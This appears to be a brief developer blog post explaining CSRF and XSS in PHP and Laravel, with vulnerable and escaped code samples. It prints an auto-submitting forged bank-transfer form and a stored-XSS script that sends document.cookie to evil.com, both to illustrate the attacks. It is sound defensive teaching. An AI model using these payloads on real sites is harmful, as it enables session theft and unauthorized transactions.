CSRF, XSS, and the attacks developers still ship
·2 min read ·Security · Web Development · Best Practices
CSRF and XSS are not exotic attacks. They've been in the OWASP Top 10 for over two decades. Every web framework has built-in protections. And they still end up in production applications regularly. Understanding why helps you avoid being the developer who ships them.
Cross-Site Request Forgery (CSRF)
CSRF exploits the fact that browsers automatically include cookies with requests to a domain. A malicious page can trigger a form submission or API call to your application, and the browser dutifully includes the victim's session cookie.
<!-- On attacker.com -->
<form method="POST" action="https://yourbank.com/transfer">
<input type="hidden" name="amount" value="10000">
<input type="hidden" name="to" value="attacker-account">
</form>
<script>document.forms[0].submit();</script>
The fix is a CSRF token: a random value stored in the session and required in every state-changing request. The attacker's page can't read the token, so the request fails.
Laravel does this automatically for all web routes. The @csrf Blade directive adds the token to forms. Don't disable it.
Cross-Site Scripting (XSS)
XSS happens when you render user-provided content as HTML without escaping it:
// Vulnerable:
echo '<p>' . $userInput . '</p>';
// Safe:
echo '<p>' . htmlspecialchars($userInput, ENT_QUOTES, 'UTF-8') . '</p>';
// In Blade (safe by default):
{{ $userInput }}
// Unsafe in Blade (only use with trusted content):
{!! $userInput !!}
If an attacker stores <script>document.location='evil.com/?cookie='+document.cookie</script> as their username, and you render it unescaped, every page that shows that username runs the attacker's script.
Why They Still Get Shipped
{!! !!}in Blade templates with user data that 'probably won't contain scripts'- Disabling CSRF middleware for 'internal' endpoints that turn out to be accessible
- Third-party libraries that accept HTML input without sanitizing it
The protection is there. You have to not actively bypass it.